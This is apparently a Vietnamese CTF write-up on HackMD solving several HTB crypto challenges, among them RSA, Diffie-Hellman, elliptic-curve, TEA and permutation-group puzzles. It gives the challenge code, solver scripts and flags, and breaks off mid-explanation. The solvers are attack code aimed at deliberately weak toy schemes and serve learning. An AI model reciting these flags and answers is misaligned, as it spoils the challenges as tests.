Nguyễn Dũng
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    1
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    ![Rank](https://hackmd.io/_uploads/B1aSu_l0a.png) - Sau mấy ngày đấm HTB thì mình được bú win các anh khá lỏ. Dưới đây sẽ là toàn bộ writeups của mình, 10 challs Crypto và 3 challs Blockchain lỏ :monkey: --- # I. Crypto ## 1. Makeshift ### Description - Challenge code: ```python= from secret import FLAG flag = FLAG[::-1] new_flag = '' for i in range(0, len(flag), 3): new_flag += flag[i+1] new_flag += flag[i+2] new_flag += flag[i] print(new_flag) ``` - Challenge output: ```python= !?}De!e3d_5n_nipaOw_3eTR3bt4{_THB ``` ### Solution - Đây là một chall khá dễ và hầu như mình không cần suy nghĩ nhiều, chỉ cần phân tích `source` và viết công thức ra là được. Có được: ```python= msg = flag[1] + flag[2] + flag[0] + flag[4] + flag[5] + flag[3] + ... ``` - Các vị trí sẽ so le nhau và chỉ cần sắp xếp lại là ta có được flag: ```python= msg = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB" flag = '' for i in range(0, len(msg), 3): flag += msg[i+2] flag += msg[i] flag += msg[i+1] print(flag[::-1]) ``` ### Flag > ~~`HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}`~~ --- ## 2. Dynastic ### Description - Challenge code: ```python= from secret import FLAG from random import randint def to_identity_map(a): return ord(a) - 0x41 def from_identity_map(a): return chr(a % 26 + 0x41) def encrypt(m): c = '' for i in range(len(m)): ch = m[i] if not ch.isalpha(): ech = ch else: chi = to_identity_map(ch) ech = from_identity_map(chi + i) c += ech return c with open('output.txt', 'w') as f: f.write('Make sure you wrap the decrypted text with the HTB flag format :-]\n') f.write(encrypt(FLAG)) ``` - Challenge output: ```python= Make sure you wrap the decrypted text with the HTB flag format :-] DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL ``` ### Solution - Về cơ bản thì chall này không khó, nhưng code thuật toán làm phức tạp hóa lên thui. Đại loại là mã hóa từ đầu đến cuối flag, kí tự đó không trong bảng chữ cái thì in luôn ra, còn không thì map nó thành một kí tự khác, không khác gì substitution cipher. - Để giải cũng chẳng cần suy nghĩ, chỉ cần thay đổi `chi + i` trong hàm `encrypt()` thành `chi - i` là có được ngay hàm `decrypt()`, vậy ta có code: ```python= def to_identity_map(a): return ord(a) - 0x41 def from_identity_map(a): return chr(a % 26 + 0x41) def decrypt(ciphertext): m = '' for i in range(len(ciphertext)): ch = ciphertext[i] if not ch.isalpha(): m += ch else: chi = to_identity_map(ch) m += from_identity_map(chi - i) return m encrypted_flag = 'DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL' flag = 'HTB{?}' print(flag.replace('?', decrypt(encrypted_flag))) ``` ### Flag > ~~`HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}`~~ --- ## 3. Primary Knowledge ### Description - Challenge code: ```python= import math from Crypto.Util.number import getPrime, bytes_to_long from secret import FLAG m = bytes_to_long(FLAG) n = math.prod([getPrime(1024) for _ in range(2**0)]) e = 0x10001 c = pow(m, e, n) with open('output.txt', 'w') as f: f.write(f'{n = }\n') f.write(f'{e = }\n') f.write(f'{c = }\n') ``` - Challenge output: ```python= n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347 e = 65537 c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215 ``` ### Solution - Trước tiên đọc source mình biết được `n` là một số nguyên tố lỏ 1024 bits, tới đây thì mình vác đi giải luôn. Đơn giản vì khi `n` là số nguyên tố, phi hàm Euler `fn` của `n` sẽ chính bằng `n-1`, lí do tại sao thì hướng dẫn sử dụng phi hàm Euler đã có (dùng để đếm số các số co-prime với một số cho trước). - Tới code luôn thôi vì ai cũng biết tính `d` bằng cách nào: ```python= from Crypto.Util.number import * n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347 e = 65537 c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215 d = inverse(e, n-1) flag = long_to_bytes(pow(c, d, n)).decode() print(flag) ``` ### Flag > ~~`HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}`~~ --- ## 4. Blunt ### Description - Challenge code: ```python= from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.number import getPrime, long_to_bytes from hashlib import sha256 from secret import FLAG import random p = getPrime(32) print(f'p = 0x{p:x}') g = random.randint(1, p-1) print(f'g = 0x{g:x}') a = random.randint(1, p-1) b = random.randint(1, p-1) A, B = pow(g, a, p), pow(g, b, p) print(f'A = 0x{A:x}') print(f'B = 0x{B:x}') C = pow(A, b, p) assert C == pow(B, a, p) # now use it as shared secret hash = sha256() hash.update(long_to_bytes(C)) key = hash.digest()[:16] iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(FLAG, 16)) print(f'ciphertext = {encrypted}') ``` - Challenge output: ```python= p = 0xdd6cc28d g = 0x83e21c05 A = 0xcfabb6dd B = 0xc4a21ba9 ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{' ``` ### Solution - Tới bài này thì mức độ đã được nâng lên một chút (từ very easy thành easy :penguin:), về cơ bản đây là một giao thức mà ai học Crypto cũng biết: DH. Do bài cho các `params` cực bé nên mình có thể phang thẳng `dlog` vào bài mà không cần lo nghĩ gì cả. Cụ thể code như sau: ```python= from sympy import discrete_log from hashlib import sha256 from Crypto.Util.number import long_to_bytes from Crypto.Util.Padding import unpad from Crypto.Cipher import AES ''' A = g^a (mod p) B = g^b (mod p) C = g^a^b (mod p) = A^b (mod p) ''' p = 0xdd6cc28d g = 0x83e21c05 A = 0xcfabb6dd B = 0xc4a21ba9 ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{' iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*' a = discrete_log(p, A, g) b = discrete_log(p, B, g) assert pow(A, b, p) == pow(B, a, p) C = pow(A, b, p) hash = sha256() hash.update(long_to_bytes(C)) key = hash.digest()[:16] cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(ciphertext), 16) print(flag.decode()) ``` ### Flag > ~~`HTB{y0u_n3ed_a_b1gGeR_w3ap0n!!}`~~ --- ## 5. Iced TEA ### Description - Challenge code: ```python= import os from secret import FLAG from Crypto.Util.Padding import pad from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b from enum import Enum class Mode(Enum): ECB = 0x01 CBC = 0x02 class Cipher: def __init__(self, key, iv=None): self.BLOCK_SIZE = 64 self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)] self.DELTA = 0x9e3779b9 self.IV = iv if self.IV: self.mode = Mode.CBC else: self.mode = Mode.ECB def _xor(self, a, b): return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b)) def encrypt(self, msg): msg = pad(msg, self.BLOCK_SIZE//8) blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)] ct = b'' if self.mode == Mode.ECB: for pt in blocks: ct += self.encrypt_block(pt) elif self.mode == Mode.CBC: X = self.IV for pt in blocks: enc_block = self.encrypt_block(self._xor(X, pt)) ct += enc_block X = enc_block return ct def encrypt_block(self, msg): m0 = b2l(msg[:4]) m1 = b2l(msg[4:]) K = self.KEY msk = (1 << (self.BLOCK_SIZE//2)) - 1 s = 0 for i in range(32): s += self.DELTA m0 += ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1]) m0 &= msk m1 += ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3]) m1 &= msk m = ((m0 << (self.BLOCK_SIZE//2)) + m1) & ((1 << self.BLOCK_SIZE) - 1) # m = m0 || m1 return l2b(m) if __name__ == '__main__': KEY = os.urandom(16) cipher = Cipher(KEY) ct = cipher.encrypt(FLAG) with open('output.txt', 'w') as f: f.write(f'Key : {KEY.hex()}\nCiphertext : {ct.hex()}') ``` - Challenge output: ```python= Key : 850c1413787c389e0b34437a6828a1b2 Ciphertext : b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843 ``` ### Solution - Trước hết đọc source thì mình biết đây là một loại mã hóa khối tự chế. Nhược điểm của thuật toán trong source có thể thấy rõ do khuyết đi tính `confusion` and `diffusion` trong mã hóa đối xứng. Chính vì vậy mình có thể tự gen một hàm `decrypt()` sử dụng để giải mã. - Nhờ chatGPT gen code và lắp ghép vào là mình đã có code solution :ok_hand:: ```python= from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from Crypto.Util.Padding import unpad from enum import Enum class Mode(Enum): ECB = 0x01 CBC = 0x02 class Cipher: def __init__(self, key, iv=None): self.BLOCK_SIZE = 64 self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)] self.DELTA = 0x9e3779b9 self.IV = iv if self.IV: self.mode = Mode.CBC else: self.mode = Mode.ECB def _xor(self, a, b): return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b)) def decrypt(self, ciphertext): blocks = [ciphertext[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ciphertext), self.BLOCK_SIZE//8)] pt = b'' if self.mode == Mode.ECB: for ct_block in blocks: pt += self.decrypt_block(ct_block) elif self.mode == Mode.CBC: X = self.IV for ct_block in blocks: dec_block = self.decrypt_block(ct_block) pt += self._xor(X, dec_block) X = ct_block return pt def decrypt_block(self, ciphertext): c = b2l(ciphertext) K = self.KEY msk = (1 << (self.BLOCK_SIZE//2)) - 1 m0 = c >> (self.BLOCK_SIZE//2) m1 = c & ((1 << (self.BLOCK_SIZE//2)) - 1) s = self.DELTA * 32 for i in range(32): m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3]) m1 &= msk m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1]) m0 &= msk s -= self.DELTA m = (m0 << (self.BLOCK_SIZE//2)) | m1 return l2b(m) key = '850c1413787c389e0b34437a6828a1b2' ct = 'b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843' key, ct = bytes.fromhex(key), bytes.fromhex(ct) cipher = Cipher(key) flag = unpad(cipher.decrypt(ct), 16).decode() print(flag) ``` ### Flag > ~~`HTB{th1s_1s_th3_t1ny_3ncryp710n_4lg0r1thm_____y0u_m1ght_h4v3_4lr34dy_s7umbl3d_up0n_1t_1f_y0u_d0_r3v3rs1ng}`~~ ### Note - Ban đầu mình cũng định giải mã bằng cách tự phân tích thuật toán và viết hàm nhưng do quá lười nên mình skip :penguin: --- ## 6. Arranged ### Description - Challenge code: ```python= from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.number import long_to_bytes from hashlib import sha256 from secret import FLAG, p, b, priv_a, priv_b F = GF(p) E = EllipticCurve(F, [726, b]) G = E(926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253) A = G * priv_a B = G * priv_b print(A) print(B) C = priv_a * B assert C == priv_b * A # now use it as shared secret secret = C[0] hash = sha256() hash.update(long_to_bytes(secret)) key = hash.digest()[16:32] iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(FLAG, 16)) print(encrypted) ```` - Challenge output: ```python= (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997 : 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696 : 1) (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734 : 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865 : 1) b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab' ```` ### Solution - Well đến đây thì chall đã sang một mức độ khác là medium (nhưng cũng không quá khó). Đọc source mình biết được bài sử dụng ECC và giao thức là DH-ECC. Đề đã cung cấp `iv` và `enc`, thứ mình cần tìm lại là `key`. - Ở đây, `key` cũng chính là `shared_secret` trong các dạng bài giao thức khóa DH quen thuộc, và vấn đề nằm ở hai khóa riêng `priv_a` và `priv_b` (chỉ cần tìm một trong hai là có thể giải được bài rồi). Tuy nhiên, bài không define cho ta một ellip cụ thể, rõ ràng mình cần tìm lại ellip này. - Ta biết được 3 điểm `G`, `A` và `B` đều thuộc ellip xét trong trường `Fp`, cụ thể tọa độ của 3 điểm này sẽ thỏa mãn phương trình của ellip, hay: ```python= y_G ^ 2 = x_G ^ 3 + 726*x_G + b (mod p) (1) y_A ^ 2 = x_A ^ 3 + 726*x_A + b (mod p) (2) y_B ^ 2 = x_B ^ 3 + 726*x_B + b (mod p) (3) ``` - Tại đây ta cần tìm lại hệ số `b` và trường của ellip. Trừ phương trình (1) cho (2) và (3) và chuyển vế, ta thu được 2 phương trình dạng `left = 0 (mod p)`, lấy `GCD` của hai cái `left` này giúp mình tìm lại `p`, đồng thời giải luôn được `b`: ```python= ef L(P): x, y = P[0], P[1] return y**2 - x**3 - 726*x G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253) A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696) B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865) p = GCD(L(G) - L(A), L(G) - L(B)) b = L(G) % p assert (G[1]**2) % p == (G[0]**3 + 726*G[0] + b) % p assert (A[1]**2) % p == (A[0]**3 + 726*A[0] + b) % p assert (B[1]**2) % p == (B[0]**3 + 726*B[0] + b) % p ``` - Ta đã recover lại được ellip, giờ cần tìm `priv_a` hoặc `priv_b`. Mình đã nghĩ tới ý tưởng áp dụng Smart's Attack nhưng khi check lại thì điều kiện `E.order() == p` bị sai. Đánh liều `dlog` ra thì lại làm được :penguin:: ```python= F = GF(p) E = EllipticCurve(F, [726, b]) G, A, B = E(G), E(A), E(B) priv_a = discrete_log(A, G, operation='+') ``` - Chạy hơi lâu chút nhưng cuối cùng sẽ ra được `priv_a = 4`, đem đi giải `key` là xong (ai ngựa ngựa có thể tìm luôn `priv_b` rồi `assert` thử xem đúng hay sai). - Full code: ```python= from Crypto.Util.number import * from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from Crypto.Util.number import long_to_bytes from hashlib import sha256 def L(P): x, y = P[0], P[1] return y**2 - x**3 - 726*x G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253) A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696) B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865) p = GCD(L(G) - L(A), L(A) - L(B)) b = L(G) % p assert (G[1]**2) % p == (G[0]**3 + 726*G[0] + b) % p assert (A[1]**2) % p == (A[0]**3 + 726*A[0] + b) % p assert (B[1]**2) % p == (B[0]**3 + 726*B[0] + b) % p F = GF(p) E = EllipticCurve(F, [726, b]) G, A, B = E(G), E(A), E(B) # priv_a = discrete_log(A, G, operation='+') priv_a = 4 shared_secret = (B * priv_a).xy()[0] hash = sha256() hash.update(long_to_bytes(int(shared_secret))) key = hash.digest()[16:32] ciphertext = b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab' iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en' cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(ciphertext), 16) print(flag.decode()) ``` ### Flag > ~~`HTB{0rD3r_mUsT_b3_prEs3RveD_!!@!}`~~ ### Note - Mình chưa thử làm cách khác nhưng cơ bản thì cách này là đủ để giải rồi nhỉ :penguin:. Nói vậy thôi nhưng cách giải chủ yếu là tính dlog, tuy nhiên một điều khá hay mà có thể nhiều người bỏ qua là `G.order() = 11`, đồng nghĩa với việc ta có thể brute force các giá trị của `a` trong đoạn `[1; 11]` và tiếp tục giải. --- ## 7. Partial Tenacity ### Description - Challenge code: ```python= from secret import FLAG from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP class RSACipher: def __init__(self, bits): self.key = RSA.generate(bits) self.cipher = PKCS1_OAEP.new(self.key) def encrypt(self, m): return self.cipher.encrypt(m) def decrypt(self, c): return self.cipher.decrypt(c) cipher = RSACipher(1024) enc_flag = cipher.encrypt(FLAG) with open('output.txt', 'w') as f: f.write(f'n = {cipher.key.n}\n') f.write(f'ct = {enc_flag.hex()}\n') f.write(f'p = {str(cipher.key.p)[::2]}\n') f.write(f'q = {str(cipher.key.q)[1::2]}') ``` - Challenge output: ```python= n = 124489602600121701274548809815923584607837171501534880261503180856938186391623267155644651085143459140143217303598468742852882882427469507691050712387595895502373303396701424516638188457555247307277206394398562666677288285701252034906810402407918122597636299856574712902166065585733567177021600418361645177173 ct = 1f287749a7dae2256bec91f58c614d57471ad05ccadc6f6923b46798571db3c623dd14157e8b909ed1fbba3af6e0dec562b120a64f261da0f591504b03c99054eed8b698725b6707c5250cce0308a289a83a8ff89790e845f6aab43a0e9419ba843cc729aeef3ad39ce23f17ad30c3a2e7743c5007d2f684019efbadf1592aad p = 171539328165412321875748057028552243899150327277402310685789246185479388035679 q = 12370078203860528037238299503161295765194367399450231656330777573089075282486 ``` ### Solution - Bài này làm mình khá nản lúc đầu nhưng may có anh `Tuệ` support nên đã làm được. Bài thuộc một dạng RSA với `partial known bits` (nói là bits thôi nhưng thực ra các số `p` và `q` đã bị khuyết mất các chữ số). - Mình đã biết được `p` và `q` kia chính là các số còn lại sau khi thay đổi `p`, `q` ban đầu. Cụ thể với `p` từ vị trí `[0]` đến cuối thì cách một chữ số lại xóa đi một lần, `q` thì xuất phát từ vị trí `[1]`. - Để làm được bài này thì mình cần sử dụng một chút toán tiểu học và logic. Xét phép nhân `p * q == n`, theo như cách nhân từng học thì: ``` p[-1] * q[-1] == n[-1] p[-2] * q[-2] == n[-2] ... ``` - Nếu kết quả vượt quá 10 thì nhớ và lấy chữ số hàng đơn vị rồi cộng phần nhớ cho hàng tiếp theo, cụ thể như sau: ``` Giả sử có: p[-1] = 3, p[-2] = 2 q[-1] = 5, q[-2] = 3 thì : n[-1] = 3 * 5 = 15, viết 5 nhớ 1 n[-2] = 2 * 3 = 6, nhớ 1 là 7 nhận được n[-1] = 5 và n[-2] = 7 ``` - Bản chất chính là: ``` n[-1] = p[-1] * q[-1] (mod 10) n[-2] = p[-1] * q[-1] + n[-1] // 10 (mod 10) ... ``` - Vì vậy áp dụng logic trên, ta có thể recover lại toàn bộ số `p` và `q`, code hơi khó một chút nhưng khá hay. Idea ở đây là thử từng trường hợp vào chỗ khuyết rồi nhân lại xem thỏa mãn hay không. - Full code: ```python= from Crypto.Util.number import * from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.PublicKey.RSA import RsaKey class RSACipher: def __init__(self, bits): self.key = RsaKey(n=n, e=e, d=inverse(e, (p-1)*(q-1)), p=p, q=q, u=inverse(p, q)) self.cipher = PKCS1_OAEP.new(self.key) def decrypt(self, c): return self.cipher.decrypt(c) e = 65537 n = 118641897764566817417551054135914458085151243893181692085585606712347004549784923154978949512746946759125187896834583143236980760760749398862405478042140850200893707709475167551056980474794729592748211827841494511437980466936302569013868048998752111754493558258605042130232239629213049847684412075111663446003 ct = '7f33a035c6390508cee1d0277f4712bf01a01a46677233f16387fae072d07bdee4f535b0bd66efa4f2475dc8515696cbc4bc2280c20c93726212695d770b0a8295e2bacbd6b59487b329cc36a5516567b948fed368bf02c50a39e6549312dc6badfef84d4e30494e9ef0a47bd97305639c875b16306fcd91146d3d126c1ea476' c = int(ct, 16) leak_p = '1_5_1_4_4_1_4_7_3_3_5_7_1_3_6_1_5_2_9_8_5_2_1_6_9_8_0_3_9_7_5_2_5_5_9_1_3_0_5_8_7_5_0_9_4_2_8_8_7_3_8_8_2_0_6_9_9_0_6_9_2_7_1_6_7_4_0_2_2_1_6_7_9_0_2_6_4_3' leak_q = '_1_5_6_2_4_3_4_2_0_0_5_7_7_4_1_6_6_5_2_5_0_2_4_6_0_8_0_6_7_4_2_6_5_5_7_0_9_3_5_6_7_3_9_2_6_5_2_7_2_3_1_7_5_3_0_1_6_1_5_4_2_2_3_8_4_5_0_8_2_7_4_2_6_9_3_0_5_' leak_p = leak_p.replace('_', '0') leak_q = leak_q.replace('_', '0') pq = {(int(leak_p), int(leak_q))} TH = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] for i in range(155//2 + 1): trials = set() for p, q in pq: for _p in TH: temp_p = p + _p*pow(10, 2*i + 1) for _q in TH: temp_q = q + _q*pow(10, 2*i) mod = pow(10, 2*i + 2) if (temp_p * temp_q) % mod != n % mod: continue trials.add((temp_p, temp_q)) pq = trials p = list(pq)[0][0] q = list(pq)[0][1] assert p*q == n cipher = RSACipher(1024) flag = cipher.decrypt(long_to_bytes(int(ct, 16))).decode() print(flag) ``` ### Flag > ~~`HTB{v3r1fy1ng_pr1m3s_m0dul0_p0w3rs_0f_10!}`~~ ### Note - Code được tài trợ bởi anh `Tuệ`, shout-out :fire: --- ## 8. Permuted ### Description - Challenge code: ```python= from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.number import long_to_bytes from hashlib import sha256 from random import shuffle from secret import a, b, FLAG class Permutation: def __init__(self, mapping): self.length = len(mapping) assert set(mapping) == set(range(self.length)) # ensure it contains all numbers from 0 to length-1, with no repetitions self.mapping = list(mapping) def __call__(self, *args, **kwargs): idx, *_ = args assert idx in range(self.length) return self.mapping[idx] def __mul__(self, other): ans = [] for i in range(self.length): ans.append(self(other(i))) return Permutation(ans) def __pow__(self, power, modulo=None): ans = Permutation.identity(self.length) ctr = self while power > 0: if power % 2 == 1: ans *= ctr ctr *= ctr power //= 2 return ans def __str__(self): return str(self.mapping) def identity(length): return Permutation(range(length)) x = list(range(50_000)) shuffle(x) g = Permutation(x) print('g =', g) A = g**a print('A =', A) B = g**b print('B =', B) C = A**b assert C.mapping == (B**a).mapping sec = tuple(C.mapping) sec = hash(sec) sec = long_to_bytes(sec) hash = sha256() hash.update(sec) key = hash.digest()[16:32] iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9" cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(FLAG, 16)) print('c =', encrypted) ``` - Challenge output: [output.txt](https://github.com/Zupp30/Zupp_Learn_Crypto/blob/main/Crypto%20from%20Zupp/output.txt) ### Solution - Với mình thì chall này khá lỏ, google đã có nhưng không thèm osint nên mất khá nhiều time để solve. Về cơ bản thì bài cũng sử dụng giao thức DH nhưng thay vì ECC hay dlog như hai chall trên thì là `Permuted`. Dạng này khá mới với mình nhưng được mọi người support nên cũng đấm được. - Như hai bài trên, ta vẫn cần tìm lại `key`, cụ thể là tìm `priv_a` hoặc `priv_b`. Đọc source thì biết được phép toán trang bị trong nhóm `Permuted` này, bên cạnh đó, qua việc test nhiều lần thì mình nhận ra các phần tử trong nhóm `Permuted` này đều có các vòng giao hoán của nó, tạm gọi là `order`. - `order` ở đây là số `k` nhỏ nhất sao cho `g**k = g`, cái này khá giống với `order` trong định nghĩa nhóm. Vậy tại sao mình lại phân tích yếu tố `order` này? - Dựa vào hai paper [này](https://www-users.cse.umn.edu/~reiner/Classes/Cryptosystem_based_on_symmetric_group.pdf) và [cả này nữa](https://www.researchgate.net/publication/326514386_Cryptanalysis_of_a_Proposal_Based_on_the_Discrete_Logarithm_Problem_Inside_Sn), mình khá chắc có thể thực hiện `dlog` để tìm lại `key`. Nhưng `dlog` ở đây chỉ có approach giống `Pohlig-Hellman`, không phải hoàn toàn giống. Mình sẽ vẫn tìm lại `order` rồi `factor`, giải các phương trình nhỏ rồi dùng `CRT` để output ra kết quả cuối cùng. - Để tìm `a` thỏa `A = g**a`, trước tiên mình sẽ thử tính 